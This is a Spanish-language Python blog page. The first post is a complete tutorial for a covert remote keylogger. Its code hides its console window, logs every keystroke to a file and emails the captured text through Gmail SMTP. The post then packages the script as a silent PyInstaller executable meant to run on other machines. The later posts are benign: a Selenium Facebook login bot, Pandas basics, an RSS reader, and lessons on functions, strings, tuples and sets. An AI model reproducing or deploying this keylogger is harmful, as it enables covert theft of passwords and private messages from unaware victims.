Google+ Seguidores

domingo, 14 de mayo de 2017

Como crear un Keylogger remoto con Python

Con esta entrada quiero explicar como crear un Keylogger remoto en Python. Este Keylogger guarda cada pulsación de tecla y lo almacena en un archivo de texto (output.txt). Después de 500 pulsaciones, el keylogger envía un correo a una dirección específica con los últimos 500 caracteres del archivo .txt. (puedes cambiar la cantidad de pulsaciones)

Puede que el equipo donde quieras probarlo no tenga Python, ni los módulos que el script utiliza, por eso crearemos un archivo ejecutable con PyInstaller y así podremos utilizarlo desde cualquier equipo.



El propósito de la entrada es con fin educativo, no me responsabilizo del uso que hagan con el. Depende completamente de ti!!!

Para que funcione, necesitamos tener instalado
  • pythoncom y pyHook: para capturar los eventos del teclado
  • PyWin32: conjunto de módulos que proporciona acceso a muchas funciones de la API de Windows
  • smtplib: módulo para enviar correo
  • pyinstaller: para crear un ejecutable del Keylogger.py

Explicando cada funcionalidad del Keylogger


Envío de correo: ya hace un tiempo cree una entrada sobre el envío de correo con Python. Puedes ver la entrada en el siguiente link: Enviar correo con python
Esta función es la encargada de enviar el correo electrónico. Cualquier error será atrapado en el try - except


Captura de teclado: esta función se encarga de ir capturando lo que se presiona en el teclado e ir guardándolo en el archivo output.txt. Si se presiona Control + E el programa finaliza. Cuando se presione la primera tecla, el keylogger enviará un correo con el texto "Arrancando..." dando a entender que el programa está en funcionamiento. Esta funcionalidad se repetirá constantemente 


Código completo Keylogger.py


#!/usr/bin/env python
# -*- coding: utf-8 -*-
    
import win32console
import win32gui
import pythoncom,pyHook
import time
import smtplib
import os
import sys
 
# www.pythondiario.com
########################################################
# CONFIGURAR VARIABLES
########################################################

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

#crea el archivo .txt 
f=open("c:\output.txt","w+")
f.close

#Variable que cuenta las tecas presionadas
count = 0

########################################################
# FUNCIONES
########################################################

def send_email(message):

    try:
        
        # Datos
        fromaddr = 'tuCorreo@gmail.com'
        toaddrs = 'tuCorreo@gmail.com'
        username = 'tuCorreo@gmail.com'
        password = 'tuContraseña'

        # Enviando el correo
        server = smtplib.SMTP('smtp.gmail.com:587')
        server.starttls()
        server.login(username,password)
        server.sendmail(fromaddr, toaddrs, message)
        server.quit()

    except:

        pass


def OnKeyboardEvent(event):
    
    global count
    count += 1 
    #presiona CTRL+E para salir
    if event.Ascii==5:
        sys.exit(0)

    if event.Ascii !=0 or 8:
        #abre output.txt
        f=open('c:\output.txt','r+')
        buffer=f.read()
        f.close()        

        if len(buffer)==1:
            send_email("Arranco...")            

        elif  count == 500: 
            #Envia los ultimos 500 caracteres
            capturado = buffer[-500:].replace("\n","
")
            send_email(capturado)
            count = 0
          
        #abre output.txt escribe y suma nuevas pulsaciones
        f=open('c:\output.txt','w')
        keylogs=chr(event.Ascii)

        #si se presiona ENTER
        if event.Ascii==13:
            keylogs='\n'

        #si se preciona ESPACIO 
        if event.Ascii==32:
            keylogs=''

        buffer+=keylogs
        f.write(buffer)
        f.close()

        
# crea el objeto hook manager
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
     

Crear el ejecutable con pyInstaler

Una vez que instales pyinstaler, en consola te posicionas en la carpeta donde se encuentra el archivo pyinstaler.exe y ejecutas el comando:
python pyinstaller.exe --onefile --windowed --ico=anyimage.ico keylogger.py

--onefile se utiliza para empaquetar todo en un ejecutable
--windowed evita que se abra una ventana (consola) cuando la aplicación se ejecuta

Acuérdate de pasar bien la ruta de la imagen .ico y del archivo keylogger.py. El archivo ejecutable por lo general queda guardado en la carpeta "dist" dentro de la carpeta principal de Python.


Ahora solo resta probar en tu equipo y luego probarlo en otro equipo para ver si realmente funciona. Para ver si se está ejecutando puedes abrir el administrador de tareas de Windows

Saludos, Diego
Seguir Leyendo

lunes, 8 de mayo de 2017

Python y Selenium: Cómo construir un bot simple de inicio de sesión automático

La idea de hoy es mostrarles un simple Login automático (en este caso para Facebook) utilizando como herramientas: Python + Selenium.

Si bien a la aplicación que accederemos en este ejemplo es Facebook, con algunos sencillos cambios podremos acceder a las aplicaciones que sean necesarias.



El ejemplo fue realizado con Windows 7 y navegador Chrome (también se podría haber utilizado Mozilla Firefox)

Lo primero, en caso de no tener ya instalado el módulo selenium, es instalar dicho módulo. Para ello utilizamos el comando: pip install -U selenium (si no tienes instalado pip, puedes pasarte por esta entrada).

Lo siguiente (fue la solución que encontré momentánea), es descargar el ejecutable: Selenium Chrome Driver, que abrirá el navegador Chrome para realizar nuestras tareas automatizadas (también existe uno para Mozilla Firefox). Este controlador es una forma simple de abrir Chrome para acceder a las operaciones estándar del navegador mediante programación.
El ejecutable lo puedes guardar donde quieras, luego hay que indicar en el código la ruta del mismo (en este caso se encuentra extraido en el escritorio).

Para obtener la información necesaria:

  • Ingresamos en la url: www.facebook.com
  • Luego nos posicionamos con el mouse sobre el TextBox del correo, presionamos con el botón secundario y elegimos la opción "Inspeccionar"
  • Debemos capturar el ID de ese TextBox, en este caso: "email"

  • Lo mismo para el TextBox de la contraseña
  • Por último debemos capturar el elemento "Type" del botón "Iniciar Sesión" como lo muestra la imagen (en este caso "submit")


Ya con estos datos recolectados solo nos queda escribir el código:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# Url: http://www.pythondiario.com
# Autor: Diego Caraballo

from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time

#Ruta donde guardamos chromedriver.exe
browser = webdriver.Chrome("C:\Users\Admin\Desktop\chromedriver\chromedriver.exe")
browser.get("https://facebook.com") 
time.sleep(5)

#Datos que extraemos de la pagina inspeccionando elemento
username = browser.find_element_by_id("email")
password = browser.find_element_by_id("pass")

#Cambiar las credenciales
username.send_keys("tu_correo")
password.send_keys("tu_contraseña")

#Emula el hacer click en "Iniciar Sesion"
login_attempt = browser.find_element_by_xpath("//*[@type='submit']")
login_attempt.submit()

Y esto sería todo amigos, lo que queda es seguir investigando, escribir código y crear nuestros propios scripts automatizados.

Cualquier sugerencia o duda no olviden dejar sus comentarios al final de la entrada.

Saludos, Diego
Seguir Leyendo

sábado, 22 de abril de 2017

Introduccion a Pandas para el analisis de datos

Pandas es una biblioteca de código abierto escrita en Python y se utiliza para la manipulación y análisis de datos.

Ésta pretende ser una simple entrada introductoria para los que nunca han utilizado la biblioteca Pandas. Espero les guste!!!

Introduccion a Pandas para el analisis de datos

Para su instalación podemos utilizar pip: pip install pandas (Puedes ver Como instalar pip)

pip install pandas


Bien, una vez instalado, vamos a leer datos de un archivo CSV:
Las pruebas las realice en un sistema con Windows 7

import pandas
pandas.read_csv('C:\Users\Admin\Desktop\contact_1.csv')


Podemos guardar estos datos en una variable para que nos sean más útil:

df = pandas.read_csv('C:\Users\Admin\Desktop\contact_1.csv')
df


Para imprimir las primeras 2 filas:

print df.head(2)


Para visualizar el tipo de variable de df:

type(df)


La forma del objeto:

print df.shape


Más información como encabezado de columna, tipo e información:

print df.columns
print df.dtypes
print df.info()



Espero que esta entrada pueda ser de ayuda para sus futuros proyectos con la biblioteca Pandas. En futuras entradas seguiré escribiendo sobre esta maravillosa biblioteca:

Fuente: https://medium.com/devops-world/introduction-to-pandas-for-data-analysis-c14bb9b1c21b
Seguir Leyendo

viernes, 7 de abril de 2017

Lector de RSS en Python usando feedparser

En esta entrada lo que aprenderemos será el uso de un módulo de python el cual se llama feedpareser, con el que podremos tener acceso a la lectura de feeds (rss) mediante python.

Lector de RSS en Python usando feedparser

Hoy veremos como obtener los rss del blog de manera simple, para ello utilizaremos la consola, pero con unos pequeños cambios podremos adaptarlo a nuestras necesidades, por ejemplo utilizando GUI, exportarlos a una planilla Excel, guardarlos en Google Drive, etc

Autor de la entrada: noxonsoftware
Email: noxonsoftwares0@gmail.com
Blog: noxonsoftwares.blogspot.com

Lector de RSS en Python usando feedparser


Para que el script funcione es necesario tener instalado el módulo feedpareser, esto se puede hacer mediante: pip install feedparser
Si no tienes instalado PIP y no sabes como hacerlo, puedes pasarte por esta entrada: Como instalar pip en Linux y Windows

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# Lo primero que hacemos es importar el modulo feedparser:
import feedparser

url = 'http://feeds.feedburner.com/MiDiarioPython'

# delcaramos que es lo que leera el feedparser
rss = feedparser.parse(url)

# recorremos todos los post que aparecen en el RSS
# para luego mostrar solamente el titulo y el link

for post in rss.entries:
 print(post.title + ":" + post.link)

# de caso contrario si solo queremos ver el primer post
# lo que hacemos sera colocar de la siguiente manera
# siendo que todo esta indexado

# esto nos mostrara la primer entrada
print(rss.entries[0]['title'])

# si queremos ver la segunda entrada seria de la siguiente manera
print(rss.entries[1]['title'])

# ahora si queremos ver solamente el link de la segunda entrada 
# seria de la siguiente manera
print(rss.entries[1]['link'])

# viendo el titulo y el link de la segunda entrada
entrada = rss.entries[1]
print(entrada.title + " - " + entrada.link)
Seguir Leyendo

jueves, 16 de marzo de 2017

Funciones en python


Funciones

"Una función es una porción o bloque de código reutilizable que se encarga de realizar una determinada tarea." Decode.la

Pensemos en lo más simple. Sabemos que los electrodomésticos tienen sus determinadas funciones. Una funcionalidad de un equipo de sonido es reproducir el contenido mp3 de un disco, usb,etc . Cuando El equipo de sonido  opera “pide” un dispositivo y a cambio (si todo va bien) “devuelve” la  reproducción.



def canciones():
   
print("1) depacito "
          "2) chantaje "
)

print(canciones())

En programación, es necesario el uso de funciones porque nos permite ayy muchas cosas, wuuu como: ahorrar código,…

Sintaxis

def nombre(parámetros):
         Instrucciones

Nombre= debe ser acorde a lo que realice
Parámetros= lo que recibe la función
Instrucciones= código a realiza la función

Características:
·        No todas las funciones reciben o retornan
·        Si la función retorna, la sintaxis debe contener return variable, donde variable almacena el fin de la función.
·        Una función puede retornar más de un valor, ej: puede retornar una lista,tupla,etc.
·        La vida de toda función con valor a retornar termina cuando se declara “return”
Existen funciones propias de python como el módulo geometría la cual tiene las funciones para calcular el área del circulo, cilindro, etc.

Parámetros empaquetados
De la misma manera que una función pueda retornar más de un valor , puede recibir.

Parámetros por omisión
Se utiliza para que la función funcione en el caso de que los valores a recibir no estén completos.

Si queremos crear un archivo con múltiples funciones es posible que nos confundamos al momento de llamar a la función, por ello consideramos dos partes:

No obstante!!, es recomendable que seamos ordenados en el código, incluso para los futuros proyectos.
Crear un  package de python…., un Gif vale más que mil palabras:


 Desde ahora, lo que programemos será en funciones, sin duda. :)



Seguir Leyendo

lunes, 13 de marzo de 2017

mensaje invertido (cadenas en python)

Cadenas
·        Comúnmente llamadas strings, se pueden escribir en comillas dobles y simples
·        No se pueden modificar mediante asignación
·        Se pueden indexar
·        Dispone de funciones especiales para modificar su contenido
·        Permite agregar formato





Existen más funciones para cadenas.

#string invertido
cadena="roma"
cadenaf=""
for i in cadena:
    cadenaf=i+cadenaf
print(cadenaf)

#elabore una lista con strings en pantalla pero que no contengan el caracter m

lista=[]
for i in range(4):
    cadena =
input("inserte una palabra: ")
    lista+=[cadena]
resul=[]
for cstring in lista: #cada string (cstring)
   
if "m" not in cstring:
        resul+=[cstring]
print(resul)



Seguir Leyendo

domingo, 12 de marzo de 2017

Tuplas & conjuntos en python


Tuplas.-

Es otra de las colecciones de datos que tiene python, la cual nos permite almacenar datos de diferentes tipos, a diferencia de las listas estas se escriben entre paréntesis, o persistiendo de estos.

Algunas Características :
Sus componentes no pueden ser modificados
·        Permite acceder a sus componentes (igual que las listas)
·        Pueden concatenar(tuplas a tuplas) ,iterar
·        Permite len, max, min, index,count

Como las tuplas no permiten modificar sus componentes, es error intentar tupla1[1]=30, pero si podemos hacer tupla1[1], es decir consultar
Por otra parte, una tupla se puede convertir en lista y viceversa:
La función zip permite armar un par de listas en tuplas, nada mejor que un ejemplo:

Si se intenta multiplicar dos tuplas: TypeError: can't multiply sequence by non-int of type 'tuple'


Conjuntos

Es una colección no ordenada de datos que no permiten elementos repetidos. Y como en matemáticas  nos permite usar algunas operaciones ( intersección (&), diferencia(-), unión(l), diferencia simétrica(^)).
Declaración: {} o la función set(). Pero si se desea crear un conjunto vacío lo correcto es utilizar set() , ya que los {} es para conjuntos.

conjunto={12,11,33,44,12}
 su resultado impreso será sin ningún orden y sin repetición.
tutorial de Guido van Rossum
Seguramente, uno de los primeros ejercicios que se aprende en listas es  el de eliminación de números repetidos, pues gracias a conjuntos podemos transformar la lista en conjunto y devuelta a lista, por lo cual tendremos como resultado final una lista depurada.




Seguir Leyendo

Entradas más recientes

Powered by Blogger .